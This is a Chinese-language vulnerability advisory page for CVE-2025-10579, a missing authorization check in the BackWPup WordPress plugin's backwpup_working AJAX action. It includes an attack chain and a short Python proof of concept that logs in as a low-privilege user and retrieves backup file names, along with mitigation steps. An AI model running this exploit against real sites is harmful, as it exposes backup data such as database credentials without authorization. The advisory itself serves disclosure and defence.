IPBUF安全漏洞报告
English
CVE-2025-10579 CVSS 5.3 中危

CVE-2025-10579 WordPress BackWPup插件未授权备份文件名泄露漏洞

披露日期: 2025-10-25

漏洞信息

漏洞编号
CVE-2025-10579
漏洞类型
越权访问/缺少授权检查
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
BackWPup – WordPress Backup & Restore Plugin

相关标签

缺少授权检查WordPress插件漏洞BackWPup备份文件泄露AJAX安全CVE-2025-10579Broken Access Control中危漏洞WordPress安全

漏洞概述

CVE-2025-10579是WordPress知名备份插件BackWPup的一个中等严重性安全漏洞。该漏洞存在于插件的AJAX处理机制中,由于缺少适当的权限验证,导致任何已认证用户(即使只有最低的Subscriber订阅者权限)都能通过调用'backwpup_working'AJAX动作获取备份文件的文件名信息。BackWPup是WordPress生态中最受欢迎的备份插件之一,拥有超过100万次安装,被广泛应用于网站数据备份和灾难恢复场景。此漏洞影响所有版本直到5.5.0,虽然泄露的文件名信息本身价值有限,但攻击者可利用此信息结合其他技术手段,在特定环境配置下(如NGINX服务器)进行暴力攻击以获取备份文件内容,从而可能导致敏感数据泄露、数据库凭证暴露等问题。由于该漏洞利用门槛较低且攻击复杂度不高,建议所有使用该插件的用户尽快升级到最新修复版本。

技术细节

漏洞根源在于BackWPup插件的AJAX处理函数backwpup_working()缺少current_user_can()权限检查。在WordPress插件开发中,AJAX端点通常需要验证当前用户权限以确保只有授权用户才能执行敏感操作。然而,该插件的backwpup_working AJAX动作直接处理请求并返回备份任务状态信息,包括正在创建的备份文件名,而没有验证调用者是否具有管理员权限。由于WordPress的默认配置允许订阅者级别的用户进行AJAX调用,这使得任何已认证用户都能访问此端点。攻击者通过构造特定的AJAX请求(包含action=backwpup_working参数),即可获取当前备份任务的详细信息,包括备份文件路径和名称。在某些服务器配置下(特别是NGINX),备份文件可能存储在可预测的位置,攻击者可利用获取的文件名信息进行后续的暴力破解或直接文件访问尝试。此漏洞属于OWASP Top 10中的A01:2021-Broken Access Control类别,展示了权限验证不完整导致的安全风险。

攻击链分析

STEP 1
步骤1
攻击者获取有效的WordPress账户凭据(可以是任意权限级别的账户,包括最低的Subscriber订阅者权限)
STEP 2
步骤2
攻击者使用该账户登录WordPress并获取有效的会话cookie
STEP 3
步骤3
攻击者构造针对backwpup_working AJAX端点的恶意请求,包含action参数设置为'backwpup_working'
STEP 4
步骤4
发送AJAX请求到WordPress的admin-ajax.php端点,由于缺少权限检查,服务器正常响应并返回备份任务信息
STEP 5
步骤5
攻击者从响应中提取备份文件名和路径信息
STEP 6
步骤6
如果服务器配置允许(如NGINX环境),攻击者可利用获取的文件名尝试直接访问备份文件,结合暴力破解等技术获取备份内容
STEP 7
步骤7
攻击者获取完整的网站备份数据,包括数据库凭据、插件配置、用户数据等敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # WordPress target URL target_url = "http://target-wordpress-site.com" # Valid WordPress user credentials (subscriber level or higher) username = "test_user" password = "user_password" # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } # Send login request session.post(login_url, data=login_data) # Exploit: Access backwpup_working AJAX endpoint without admin privileges ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "backwpup_working", "id": "1" # Job ID (can be enumerated) } print("[*] Sending exploit request to backwpup_working AJAX endpoint...") response = session.post(ajax_url, data=exploit_data) # Parse response for backup filename if response.status_code == 200: print("[*] Request successful!") print(f"[*] Response content: {response.text}") # Extract backup filename from response # The response typically contains JSON with backup job status and filename else: print(f"[!] Request failed with status code: {response.status_code}")

影响范围

BackWPup WordPress Plugin < 5.5.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 暂时禁用BackWPup插件,使用其他备份方案;2) 通过.htaccess或Nginx配置阻止对wp-content/uploads/目录下备份文件的直接Web访问;3) 限制WordPress的AJAX功能仅对管理员开放;4) 实施IP白名单策略,限制管理后台的访问来源;5) 启用双因素认证增强账户安全;6) 监控服务器日志,及时发现异常访问行为。建议尽快完成版本升级以从根本上修复此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表